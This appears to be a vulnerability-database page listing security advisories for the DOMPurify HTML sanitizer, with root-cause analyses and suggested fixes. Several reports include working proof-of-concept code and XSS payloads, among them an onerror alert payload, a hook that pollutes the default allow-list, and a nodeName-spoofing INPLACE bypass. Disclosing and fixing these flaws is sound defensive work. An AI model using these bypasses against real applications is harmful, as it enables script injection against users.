See how dompurify compares to other vendors in security performance
DOMPurify before 3.4.4 fails to sanitize DOM elements passed via INPLACE mode when the element originates from a different window/realm (e.g., an iframe's contentDocument). A cross-realm instanceof check in the private isNode() function returns false for foreign-realm nodes, causing DOMPurify to stringify the element (yielding '[object HTMLDivElement]'), silently reset INPLACE to false, and return the unsanitized element unchanged with any XSS payloads intact.
DOMPurify versions >=3.0.0 and before 3.4.8, when configured with SAFEFORTEMPLATES together with a DOM output mode (RETURNDOM, RETURNDOMFRAGMENT, or INPLACE), fail to strip template expressions (e.g. ${evil}, {{evil}}, <%evil%>) inside <template> element content. The final normalization/scrub pass (scrubTemplateExpressions) uses a NodeIterator and node.normalize() that do not descend into template.content, so expressions that only form after adjacent text nodes merge survive sanitization. This bypasses SAFEFORTEMPLATES and can allow a downstream template engine to evaluate attacker-supplied expressions. The string output path is not affected.
Impact
A DOMPurify instance that is reused across trust boundaries can stay bound to a previously supplied TRUSTEDTYPESPOLICY even after clearConfig() is called. A later caller that requests RETURNTRUSTEDTYPE receives a TrustedHTML object created by the old policy, not by a clean default configuration.
If the old policy is unsafe or controlled by a less-trusted integration, this turns a later "default" sanitize call into script execution at a Trusted Types sink. TRUSTEDTYPESPOLICY: null on the later call also does not clear the retained policy. dompurify-trusted-types-policy-survives-clearconfig-poc.js
Affected version
Tested against DOMPurify 3.4.8, repository commit 825e617753ac1169306a542d3174a77f717a0cf6.
Root cause
parseConfig() overwrites trustedTypesPolicy when cfg.TRUSTEDTYPESPOLICY is truthy, but the default/null path only initializes the internal policy when trustedTypesPolicy === undefined. Once a custom policy has been set, later default config parsing leaves it in place.
Relevant code:
- src/purify.ts:786-812 accepts and stores cfg.TRUSTEDTYPESPOLICY. - src/purify.ts:813-832 does not reset an existing policy when config has no policy or has TRUSTEDTYPESPOLICY: null. - src/purify.ts:2123-2125 signs the final serialized HTML with the retained policy when RETURNTRUSTEDTYPE is true. - src/purify.ts:2133-2136 clearConfig() only clears CONFIG and SETCONFIG; it does not reset trustedTypesPolicy or emptyHTML.
Local PoC
Run from the DOMPurify checkout, or set DOMPURIFYREPO:
bash node /home/dompurify-trusted-types-policy-survives-clearconfig-poc.js
Observed output:
json { "result": { "baseline": "<b>baseline</b>", "duringPolicy": "<img src=x onerror=alert(\"TTPOLICYSURVIVEDCLEARCONFIG\")>", "afterClearString": "<img src=\"x\">", "afterClearTrustedType": "[object TrustedHTML]", "afterClearTrusted": "<img src=x onerror=alert(\"TTPOLICYSURVIVEDCLEARCONFIG\")>", "afterNullTrusted": "<img src=x onerror=alert(\"TTPOLICYSURVIVEDCLEARCONFIG\")>", "mountedHTML": "<img src=\"x\" onerror=\"alert("TTPOLICYSURVIVEDCLEARCONFIG")\">" }, "dialogs": [ "TTPOLICYSURVIVEDCLEARCONFIG" ] }
The important part is the split behavior after cleanup:
- purify.clearConfig(); purify.sanitize(...); returns a normal sanitized string (<img src="x">), because the later call is not asking for a Trusted Type. - purify.clearConfig(); purify.sanitize(..., { RETURNTRUSTEDTYPE: true }); still uses the old policy and returns attacker-controlled TrustedHTML. - Passing { TRUSTEDTYPESPOLICY: null, RETURNTRUSTEDTYPE: true } also still returns attacker-controlled TrustedHTML.
Preconditions
This is a shared-instance state contamination issue. It matters when one DOMPurify instance is reused by multiple integrations, plugins, request handlers, or components with different trust levels, and a cleanup step relies on clearConfig() to restore safe defaults.
This is not a default string-input bypass. An attacker must be able to influence a prior TRUSTEDTYPESPOLICY on the reused instance, or a less-trusted integration must have installed an unsafe policy.
Severity
impact is XSS at a Trusted Types sink in applications that reuse a DOMPurify instance across trust boundaries. Attack complexity is high because exploitation depends on prior policy injection or a less-trusted integration and a later RETURNTRUSTEDTYPE sink.
Suggested fix
Make clearConfig() reset Trusted Types state as part of restoring defaults, or have parseConfig() explicitly clear trustedTypesPolicy and emptyHTML when TRUSTEDTYPESPOLICY: null is supplied.
Summary When USEPROFILES is enabled, DOMPurify rebuilds ALLOWEDATTR as a plain array before populating it with the requested allowlists. Because the sanitizer still looks up attributes via ALLOWEDATTR[lcName], any Array.prototype property that is polluted also counts as an allowlisted attribute. An attacker who can set Array.prototype.onclick = true (or a runtime already subject to prototype pollution) can thus force DOMPurify to keep event handlers such as onclick even when they are normally forbidden. The provided PoC sanitizes <img onclick=...> with USEPROFILES and adds the sanitized output to the DOM; the polluted prototype allows the event handler to survive and execute, turning what should be a blocklist into a silent XSS vector.
Impact Prototype pollution makes DOMPurify accept dangerous event handler attributes, which bypasses the sanitizer and results in DOM-based XSS once the sanitized markup is rendered.
Credits Identified by Cantina’s Apex (https://www.cantina.security).
In DOMPurify through 3.3.3, function predicates supplied via ADDATTR or ADDTAGS to DOMPurify.sanitize() persist in internal state (EXTRAELEMENTHANDLING) across subsequent sanitize() calls on the same instance. If a later call on the same instance provides ADDATTR or ADDTAGS as an array rather than a function, the previously set function handler is neither cleared nor overwritten, so it continues to approve attacker-controlled attributes or tags. This can allow dangerous event-handler attributes or forbidden tags (bypassing FORBIDTAGS) to survive sanitization, resulting in cross-site scripting. The vendor (Cure53) considers this an edge case outside DOMPurify's threat model; the referenced advisory lists 3.4.0 as the patched version.
Summary In src/purify.ts:1117-1123, ADDTAGS as a function (via EXTRAELEMENTHANDLING.tagCheck) bypasses FORBIDTAGS due to short-circuit evaluation.
The condition: !(tagCheck(tagName)) && (!ALLOWEDTAGS[tagName] || FORBIDTAGS[tagName]) When tagCheck(tagName) returns true, the entire condition is false and the element is kept — FORBIDTAGS[tagName] is never evaluated.
Inconsistency This contradicts the attribute-side pattern at line 1214 where FORBIDATTR explicitly wins first: if (FORBIDATTR[lcName]) { continue; } For tags, FORBID should also take precedence over ADD.
Impact Applications using both ADDTAGS as a function and FORBIDTAGS simultaneously get unexpected behavior — forbidden tags are allowed through. Config-dependent but a genuine logic inconsistency.
Suggested Fix Check FORBIDTAGS before tagCheck: if (FORBIDTAGS[tagName]) { / remove / } else if (tagCheck(tagName) || ALLOWEDTAGS[tagName]) { / keep / }
Affected Version v3.3.3 (commit 883ac15)
Hook mutation of data.allowedTags / data.allowedAttributes permanently pollutes DEFAULTALLOWEDTAGS / DEFAULTALLOWEDATTR
CWE: CWE-501 (Trust Boundary Violation — hook-scoped mutation leaks to global default sets) via CWE-693 (Protection Mechanism Failure — the default allow-list is silently widened for all subsequent sanitize calls)
Summary
The data.allowedTags and data.allowedAttributes fields passed to uponSanitizeElement and uponSanitizeAttribute hooks are direct references to the library's live ALLOWEDTAGS / ALLOWEDATTR sets. For sanitize calls that don't supply an explicit cfg.ALLOWEDTAGS / cfg.ALLOWEDATTR array, those live sets are themselves direct references to the module-level DEFAULTALLOWEDTAGS / DEFAULTALLOWEDATTR constants. A hook that mutates these fields — a natural-looking pattern for "allow X for this iteration" — permanently writes new entries into the default constants for the DOMPurify instance's lifetime. Every subsequent sanitize call that doesn't override the config inherits the widened defaults, so an attacker payload that uses the poisoned tag/attribute name survives sanitization. removeAllHooks(), clearConfig(), and even passing a fresh cfg: {} do not recover; only constructing a new DOMPurify instance does.
The maintainer's existing defense at src/purify.ts:696-700 explicitly clones DEFAULTALLOWEDTAGS before mutating it via cfg.ADDTAGS (array form), demonstrating awareness of this exact class. The hook path remained uncovered.
Affected
- DOMPurify ≤ 3.4.5, including main at 7996f1dc78eb8b7922388aed75d94a9f8fad9a36 - Any application that installs a hook on uponSanitizeElement or uponSanitizeAttribute that writes to data.allowedTags[...] = true or data.allowedAttributes[...] = true and later sanitizes attacker-influenced content with default config (no explicit cfg.ALLOWEDTAGS / cfg.ALLOWEDATTR array)
Vulnerability details
[A] — data.allowedTags is a reference to ALLOWEDTAGS
src/purify.ts:1206-1209:
ts executeHooks(hooks.uponSanitizeElement, currentNode, { tagName, allowedTags: ALLOWEDTAGS, // [A] direct reference; hook mutation // mutates the very ALLOWEDTAGS the // library checks on the next element });
src/purify.ts:1494-1500 (the matching attribute hook):
ts const hookEvent = { attrName: '', attrValue: '', keepAttr: true, allowedAttributes: ALLOWEDATTR, // [A'] same pattern forceKeepAttr: undefined, };
[B] — ALLOWEDTAGS = DEFAULTALLOWEDTAGS for default-cfg sanitize calls
src/purify.ts:527-531:
ts ALLOWEDTAGS = objectHasOwnProperty(cfg, 'ALLOWEDTAGS') && arrayIsArray(cfg.ALLOWEDTAGS) ? addToSet({}, cfg.ALLOWEDTAGS, transformCaseFunc) : DEFAULTALLOWEDTAGS; // [B] reference assignment; ALLOWEDTAGS // IS the DEFAULTALLOWEDTAGS object
(The ALLOWEDATTR = DEFAULTALLOWEDATTR path at :532-536 is symmetric.)
The mismatch
A hook author who writes data.allowedTags['script'] = true reasonably expects per-call scope — the API name is "data", suggesting per-event payload. But [A] makes this a direct reference, and [B] makes that reference equal to the module-level default for the common default-cfg path. The hook's mutation therefore writes to a constant that every subsequent default-cfg sanitize call rebinds to.
The maintainer already recognized this class for the ADDTAGS array path — src/purify.ts:696-700:
ts } else if (arrayIsArray(cfg.ADDTAGS)) { if (ALLOWEDTAGS === DEFAULTALLOWEDTAGS) { ALLOWEDTAGS = clone(ALLOWEDTAGS); // explicitly clone DEFAULT before // mutating to avoid this pollution } addToSet(ALLOWEDTAGS, cfg.ADDTAGS, transformCaseFunc); }
The same defensive clone is missing from the hook code paths.
Proof of concept
js // 1) fresh DOMPurify, default config — script is blocked DOMPurify.sanitize('<svg><script>alert(1)</script></svg>'); // → "<svg></svg>"
// 2) install a hook that mutates data.allowedTags (natural-looking pattern) DOMPurify.addHook('uponSanitizeElement', (node, data) => { data.allowedTags['script'] = true; });
// 3) one sanitize call WITH the hook — script survives (expected during the hook) DOMPurify.sanitize('<svg><script>alert(1)</script></svg>'); // → "<svg><script>alert(1)</script></svg>"
// 4) remove the hook DOMPurify.removeAllHooks(); DOMPurify.clearConfig();
// 5) sanitize attacker content with default config — POLLUTION PERSISTS DOMPurify.sanitize('<svg><script>alert(1)</script></svg>'); // → "<svg><script>alert(1)</script></svg>" ← script survived without any hook
// 6) the only recovery: create a fresh DOMPurify instance const fresh = DOMPurify(window); fresh.sanitize('<svg><script>alert(1)</script></svg>'); // → "<svg></svg>" ← clean
Observed (Chromium 148.0.7778.96, DOMPurify HEAD 7996f1d):
| step | input | output | bypass? | |---|---|---|---| | 1 fresh baseline | <svg><script></script></svg> | <svg></svg> | no | | 1b fresh baseline | <a onclick=>x</a> | <a>x</a> | no | | 2 with hook (script) | <svg><script></script></svg> | <svg><script></script></svg> | yes (expected) | | 2b with hook (onclick) | <a onclick=>x</a> | <a onclick="">x</a> | yes (expected) | | 3 after removeAllHooks() | same | <svg><script></script></svg> | YES (pollution) | | 3b after removeAllHooks() | same | <a onclick="">x</a> | YES (pollution) | | 4 after clearConfig() | same | <svg><script></script></svg> | YES | | 4b after clearConfig() | same | <a onclick="">x</a> | YES | | 5 explicit restrictive cfg.ALLOWEDTAGS=['svg'] | same | <svg></svg> | no (cloned set) | | 6 back to no cfg | same | <svg><script></script></svg> | YES | | 6b back to no cfg | same | <a onclick="">x</a> | YES | | 7 fresh DOMPurify(window) instance | same | <svg></svg> | no | | 7b fresh instance | <a onclick=>x</a> | <a>x</a> | no |
Impact
Direct
Any application using DOMPurify that has any registered hook with the pattern data.allowedTags[...] = true or data.allowedAttributes[...] = true. The hook need not be designed to be permissive — it might be intended to temporarily allow a custom tag for one specific element shape. After the hook has executed even once, every subsequent default-config sanitize call carries the widened defaults, including:
- attacker content rendered via separate code paths (e.g., the same library serving a comments section and a profile bio, where the bio uses the hook and the comments use plain DOMPurify.sanitize(text)) - third-party libraries that call DOMPurify.sanitize on the same instance
The bypass survives DOMPurify.removeAllHooks() and DOMPurify.clearConfig() — the obvious "reset" calls a dev would reach for. Detection requires reading the DEFAULTALLOWEDTAGS / DEFAULTALLOWEDATTR sets directly, which are not part of the public API.
Indirect / second-order
- Editor / preview libraries that compose with DOMPurify — if any consumer registers a hook that mutates data.allowedTags, every other consumer's sanitize calls inherit the widening. - Test suites that exercise multiple sanitize configurations — once a test's hook pollutes the defaults, later tests that assume default behavior may pass with widened defaults and miss real regressions. - Long-running servers (SSR, edge functions) that reuse a single DOMPurify instance — pollution accumulates over the process lifetime.
Why the existing maintainer defense for ADDTAGS doesn't catch this
src/purify.ts:696-700 already documents awareness:
ts } else if (arrayIsArray(cfg.ADDTAGS)) { if (ALLOWEDTAGS === DEFAULTALLOWEDTAGS) { ALLOWEDTAGS = clone(ALLOWEDTAGS); } addToSet(ALLOWEDTAGS, cfg.ADDTAGS, transformCaseFunc); }
The clone-before-mutate pattern is exactly what's needed at the hook callsites (:1206-1209 and :1494-1500) but was not extended there. The new entries this report's bypass adds to the defaults survive the same way ADDTAGS array entries would have survived before that fix landed.
Suggested fix
Three minimal-impact options, in order of preference:
1. Hand the hook a defensive copy (most surgical):
ts executeHooks(hooks.uponSanitizeElement, currentNode, { tagName, allowedTags: { ...ALLOWEDTAGS }, // shallow copy; mutations stay scoped });
Doc note: "data.allowedTags is a snapshot; to widen the live set, use cfg.ADDTAGS or set the value to true in the snapshot and check the snapshot from a subsequent attribute hook." Hooks that read it for inspection still work; hooks that intended cross-call mutation must be rewritten to use a proper config path (which is the correct API anyway).
2. Clone-on-write inside the hook path, mirroring the existing ADDTAGS defense at :696-700: detect that ALLOWEDTAGS === DEFAULTALLOWEDTAGS after the hook returns, and if so, replace it with a clone for subsequent processing. This preserves the live-mutation semantics for in-call effects while preventing cross-call leakage.
3. Lazy-clone ALLOWEDTAGS/ALLOWEDATTR from defaults on first mutation: install a Proxy or accessor that triggers a clone before mutation. Largest surface area, but bulletproof.
Option (1) is the cleanest API contract: hook event objects should be event-local, never references to library-internal state.
Summary
When DOMPurify.sanitize(root, { INPLACE: true }) is called on an attacker-supplied live DOM node, DOMPurify still trusts currentNode.nodeName for non-form nodes in the main sanitizeElements pipeline. A real <script> child node whose observable nodeName is attacker-controlled can therefore be misclassified as an allowed element and retained. When the sanitized tree is inserted into a live document, the script executes.
This affects current 3.4.6. The recent INPLACE hardening work covers clobbered form handling and foreign-realm shadow/template traversal, but does not harden the main per-node element decision for hostile non-form live nodes.
Affected
- DOMPurify 3.4.6 - Any caller that does DOMPurify.sanitize(node, { INPLACE: true }) on attacker-supplied live DOM nodes - Verified attacker-controlled node sources: - same-origin iframe → live node passed by reference - same-origin window.open() popup → live node passed by reference - same-origin foreign node adopted into the host document via document.adoptNode(node) and then sanitized in-place
Not affected:
- String-input DOMPurify.sanitize(dirtyString)
Vulnerability details
Code paths
[A] — sanitizeElements uses the instance-visible nodeName for the allow/forbid decision:
ts const sanitizeElements = function (currentNode: any): boolean { ... if (isClobbered(currentNode)) { forceRemove(currentNode); return true; }
const tagName = transformCaseFunc(currentNode.nodeName); ... if ( FORBIDTAGS[tagName] || (!(...) && !ALLOWEDTAGS[tagName]) ) { ... forceRemove(currentNode); return true; } ... };
For non-form nodes, isClobbered(currentNode) returns false early. The subsequent element decision therefore trusts currentNode.nodeName directly.
[B] — isClobbered is form-specific:
ts const isClobbered = function (element: Element): boolean { const realTagName = getNodeName ? getNodeName(element) : null; if (typeof realTagName !== 'string') { return false; }
if (transformCaseFunc(realTagName) !== 'form') { return false; }
return (...); };
The hardening is intentionally scoped to form. Non-form nodes are not checked for divergence between the instance-visible property view and the trusted prototype getter view.
Why the bypass works
The attack does not depend on string HTML parsing. It depends on a hostile live DOM object crossing a trust boundary into DOMPurify's INPLACE pipeline.
If the attacker controls a same-origin subcontext (iframe or popup), they can prepare a real DOM subtree there and then pass the live node object by reference to a host page that trusts DOMPurify.sanitize(node, { INPLACE: true }) as its final sanitization step.
For the verified primitive below:
- the real child node is <script> - its script text is attacker-controlled - the observable nodeName is attacker-controlled and made to appear as "DIV" - sanitizeElements therefore classifies the real <script> child as an allowed element - the real <script> survives in the sanitized tree and executes on insertion
This primitive survives:
- direct reference passing - document.adoptNode(node) followed by INPLACE
It does not survive:
- importNode - cloneNode
because those paths materialize a fresh node and discard the hostile object semantics.
Proof of concept
(1) Minimal — runnable in a single browser context
html <!doctype html> <html><body> <script src="dist/purify.js"></script> <script> const foreign = window.open('about:blank', 'blank', 'noopener=no');
const host = foreign.document.createElement('div'); const script = foreign.document.createElement('script'); script.textContent = 'window.pwned = 1'; Object.defineProperty(script, 'nodeName', { value: 'DIV', configurable: true, }); host.appendChild(script);
DOMPurify.sanitize(host, { INPLACE: true });
console.log('output:', host.outerHTML); // <div><script>window.pwned = 1</script></div>
window.pwned = 0; document.body.appendChild(host); console.log('handler fired:', window.pwned === 1); // true </script> </body></html>
(2) End-to-end — Playwright
js const { chromium } = require('playwright'); const path = require('path');
(async () => { const browser = await chromium.launch(); const page = await browser.newPage(); await page.goto('about:blank'); await page.addScriptTag({ path: path.resolve('dist/purify.js') });
const result = await page.evaluate(async () => { window.hits = [];
const foreign = window.open('about:blank', 'blank', 'noopener=no'); const host = foreign.document.createElement('div'); const script = foreign.document.createElement('script'); script.textContent = 'top.hits.push("script-fired")'; Object.defineProperty(script, 'nodeName', { value: 'DIV', configurable: true, }); host.appendChild(script);
DOMPurify.sanitize(host, { INPLACE: true }); document.body.appendChild(host);
return { version: DOMPurify.version, output: host.outerHTML, fired: window.hits.includes('script-fired'), }; });
console.log(result); await browser.close(); })();
Observed:
- Chromium / Firefox / WebKit
js { version: '3.4.6', output: '<div><script>top.hits.push("script-fired")</script></div>', fired: true }
Impact
Direct
XSS via retained real <script> nodes inside attacker-supplied live DOM objects.
Any consumer that uses DOMPurify.sanitize(node, { INPLACE: true }) as a security boundary for live DOM objects supplied by a lower-trust same-origin subcontext is vulnerable.
The typical pattern is:
js // attacker-controlled same-origin subcontext prepares a live node const foreignNode = attackerFrame.contentWindow.makeNode();
// host treats DOMPurify as the last security gate DOMPurify.sanitize(foreignNode, { INPLACE: true }); container.appendChild(foreignNode);
If foreignNode is a hostile live DOM object whose real child is <script> but whose observable nodeName is attacker-controlled, the sanitized output still contains the real script node when re-inserted into the live document.
Indirect / second-order
- Applications that accept same-origin plugin / extension / widget DOM and rely on INPLACE as the final sanitization step - Editor or design-tool architectures where lower-trust subcontexts submit live DOM subtrees to a higher-trust host for in-place sanitization
Suggested fix
Two minimal-risk options:
1. Stop trusting instance-visible nodeName for the element decision in INPLACE.
Use the cached prototype getter (or another trusted realm-safe primitive) for the allow/forbid decision, just as the recent hardening already does for selected root and shadow-root checks.
In other words, the main pipeline should not do:
ts const tagName = transformCaseFunc(currentNode.nodeName);
on hostile live objects.
2. Generalize hostile-node detection beyond form.
The current isClobbered() logic is form-specific. A more defensive approach would reject or strictly sanitize any INPLACE node whose instance-visible critical properties diverge from the trusted prototype getter view, at least for:
- nodeName - attributes - childNodes
Either approach would close the verified primitive above.
image-size is vulnerable to a Denial-of-Service vulnerability when processing specially crafted images.
DOMPurify before 3.2.4 has an incorrect template literal regular expression when SAFEFORTEMPLATES is set to true, sometimes leading to mutation cross-site scripting (mXSS).
DOMPurify before 3.4.13 contains a cross-site scripting vulnerability in INPLACE sanitization where element-removal hooks fail to neutralize detached subtrees. Attackers can supply HTML with event handlers on descendant elements that execute after sanitization completes, even though the returned root appears clean.
DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Prior to 3.4.7, DOMPurify INPLACE sanitization could skip shadow contents attached to an element inside <template>.content, allowing attacker-controlled markup such as event handlers, JavaScript URLs, or scripts to survive and execute when an application cloned and inserted the sanitized template. This issue is fixed in version 3.4.7.
DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML and SVG. It has been discovered that malicious HTML using special nesting techniques can bypass the depth checking added to DOMPurify in recent releases. It was also possible to use Prototype Pollution to weaken the depth check. This renders dompurify unable to avoid cross site scripting (XSS) attacks. This issue has been addressed in versions 2.5.4 and 3.1.3 of DOMPurify. All users are advised to upgrade. There are no known workarounds for this vulnerability.
DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML and SVG. DOMpurify was vulnerable to nesting-based mXSS. This vulnerability is fixed in 2.5.0 and 3.1.3.
DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML and SVG. DOMPurify was vulnerable to prototype pollution. This vulnerability is fixed in 2.4.2.